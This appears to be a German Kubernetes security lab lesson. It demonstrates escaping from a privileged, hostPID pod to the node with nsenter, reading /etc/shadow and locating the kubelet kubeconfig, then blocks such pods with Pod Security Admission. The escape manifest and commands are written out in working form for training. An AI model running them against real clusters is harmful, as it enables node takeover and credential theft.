Zum Inhalt springen
Trainingslager IT-Trainingslager

Tag 5: Privileged, Capabilities und der Ausbruch auf den Node

Ziel: Du brichst aus einem privilegierten Pod auf den Node aus – und verbietest solche Pods per Admission. · Dauer: ca. 75 min · Voraussetzung: Tag 4

Briefing

Ein Container ist nur ein Prozess mit Namespaces und Cgroups – keine echte Grenze, wenn man sie öffnet. privileged: true, hostPID, hostNetwork oder zu viele Capabilities reißen genau diese Grenze ein. Mit hostPID + privileged reicht ein einziger Befehl, um im Kontext des Nodes zu landen: nsenter in den Init-Prozess. Von da an bist du root auf der Maschine, nicht mehr im Container.

Sicherheit: Das hier ist der Kern eines Container-Escapes. Nur im eigenen Lab.

Drill 1: Die Fehlkonfiguration – ein privilegierter Pod

Angenommen, der Angreifer darf Pods erstellen (Tag 4) und die Admission lässt alles durch. Wir arbeiten in einem Wegwerf-Namespace escape:

kubectl create namespace escape

kubectl -n escape apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: breakout, namespace: escape}
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: c
    image: nicolaka/netshoot
    securityContext: {privileged: true}
    command: ["sleep","infinity"]
EOF
kubectl -n escape wait --for=condition=Ready pod/breakout --timeout=90s

Fortschritt speichern? Kostenlos registrieren

Drill 2: Ausnutzen – nsenter auf den Node

hostPID teilt die Prozessliste des Nodes; privileged gibt die nötigen Capabilities. nsenter -t 1 betritt die Namespaces von PID 1 – dem Init-Prozess des Hosts:

kubectl -n escape exec breakout -- nsenter -t 1 -m -u -i -n -p -- hostname
kubectl -n escape exec breakout -- nsenter -t 1 -m -u -i -n -p -- head -1 /etc/shadow

Erwartet:

rke2-agent1
root:*:20619:0:99999:7:::

Der erste Befehl zeigt den Namen des Nodes, nicht des Pods. Der zweite liest /etc/shadow – eine Datei, die es im Container gar nicht gibt. Du bist aus dem Pod heraus.

Fortschritt speichern? Kostenlos registrieren

Drill 3: Die Beute – Node-Zugangsdaten

Wer root auf dem Node ist, holt sich die Identität des Nodes. Die kubelet-Kubeconfig liegt auf dem Host und erlaubt, als dieser Node an der API zu handeln:

kubectl -n escape exec breakout -- nsenter -t 1 -m -u -i -n -p -- \
  ls -l /var/lib/rancher/rke2/agent/kubelet.kubeconfig

Erwartet:

-rw------- 1 root root 464 Nov 17 14:59 /var/lib/rancher/rke2/agent/kubelet.kubeconfig

Mit dieser Datei (und den Node-Zertifikaten daneben) spricht der Angreifer als system:node:rke2-agent1 – und kommt an die Secrets aller Pods, die auf diesem Node laufen. Ein privilegierter Pod ist deshalb so gut wie cluster-weiter Zugriff.

Fortschritt speichern? Kostenlos registrieren

Drill 4: Fix – Pod Security Admission auf „restricted”

Kubernetes bringt die Abwehr mit: Pod Security Admission (PSA) lehnt beim Anlegen Pods ab, die das Profil verletzen. restricted verbietet privileged, host-Namespaces, zusätzliche Capabilities und erzwingt runAsNonRoot. Du schaltest es per Label am Namespace scharf:

kubectl label namespace escape \
  pod-security.kubernetes.io/enforce=restricted --overwrite

Erwartet (Warnung zu bereits laufenden Pods ist normal):

Warning: existing pods in namespace "escape" violate the new PodSecurity enforce level
Warning: breakout: host namespaces, privileged, ...
namespace/escape labeled

Fortschritt speichern? Kostenlos registrieren

Drill 5: Nachweis – der Escape-Pod wird abgewiesen

kubectl -n escape apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: breakout2, namespace: escape}
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: c
    image: nicolaka/netshoot
    securityContext: {privileged: true}
    command: ["sleep","infinity"]
EOF

Erwartet:

Error from server (Forbidden): error when creating "STDIN": pods "breakout2" is
forbidden: violates PodSecurity "restricted:latest": host namespaces (hostNetwork=true,
hostPID=true), privileged (container "c" must not set securityContext.privileged=true),
allowPrivilegeEscalation != false ..., runAsNonRoot != true ..., seccompProfile ...

Der Ausbruchs-Pod kommt gar nicht erst ins Cluster. Und ein sauberer Pod läuft weiter:

kubectl -n escape apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: good, namespace: escape}
spec:
  containers:
  - name: c
    image: nginxinc/nginx-unprivileged:stable
    securityContext:
      allowPrivilegeEscalation: false
      runAsNonRoot: true
      capabilities: {drop: ["ALL"]}
      seccompProfile: {type: RuntimeDefault}
EOF
kubectl -n escape wait --for=condition=Ready pod/good --timeout=60s

Erwartet:

pod/good condition met

Räum auf:

kubectl delete namespace escape

Fortschritt speichern? Kostenlos registrieren

Kontrollpunkt

Ein neuer Namespace mit restricted weist privilegierte Pods ab:

kubectl create namespace psa-test
kubectl label namespace psa-test pod-security.kubernetes.io/enforce=restricted
kubectl -n psa-test run x --image=nicolaka/netshoot --privileged \
  --command -- sleep infinity 2>&1 | grep -o "violates PodSecurity.*privileged" | head -1
kubectl delete namespace psa-test

Erwartet (Auszug): violates PodSecurity ... privileged

Challenge

restricted ist das strengste von drei Profilen. Setze stattdessen das mittlere Profil baseline und finde heraus: Lässt es den hostPID-Escape-Pod durch oder nicht?

Hinweis: baseline verbietet die „offensichtlich gefährlichen” Dinge, erlaubt aber Nicht-root-Feinheiten. host-Namespaces und privileged gehören zu den verbotenen.

Lösung

kubectl create namespace base-test
kubectl label namespace base-test pod-security.kubernetes.io/enforce=baseline
kubectl -n base-test run x --image=nicolaka/netshoot --privileged \
  --overrides='{"spec":{"hostPID":true}}' --command -- sleep infinity 2>&1 | tail -2
kubectl delete namespace base-test

Erwartet: auch baseline lehnt ab (privileged, hostPID sind schon dort verboten). baseline stoppt also den Escape; restricted geht darüber hinaus und erzwingt zusätzlich non-root und gedroppte Capabilities.

Fortschritt speichern? Kostenlos registrieren

Enterprise-Notiz

  • PSA clusterweit als Default setzen (AdmissionConfiguration mit enforce: baseline oder restricted als Default-Level), nicht nur pro Namespace-Label.
  • warn/audit-Level zuerst, um Verstöße zu sammeln, dann enforce – sonst brechen bestehende Workloads.
  • PSA deckt nur den Pod-Spec ab. Für feinere Regeln (bestimmte Capabilities, AppArmor, erlaubte SA) ergänzt Kyverno (Tag 12).
  • hostPID, hostNetwork, hostIPC, privileged, hostPath gehören auf eine harte Verbotsliste; echte Ausnahmen (CNI, CSI, Monitoring) laufen in eigenen, klar benannten Namespaces mit eigenem Profil.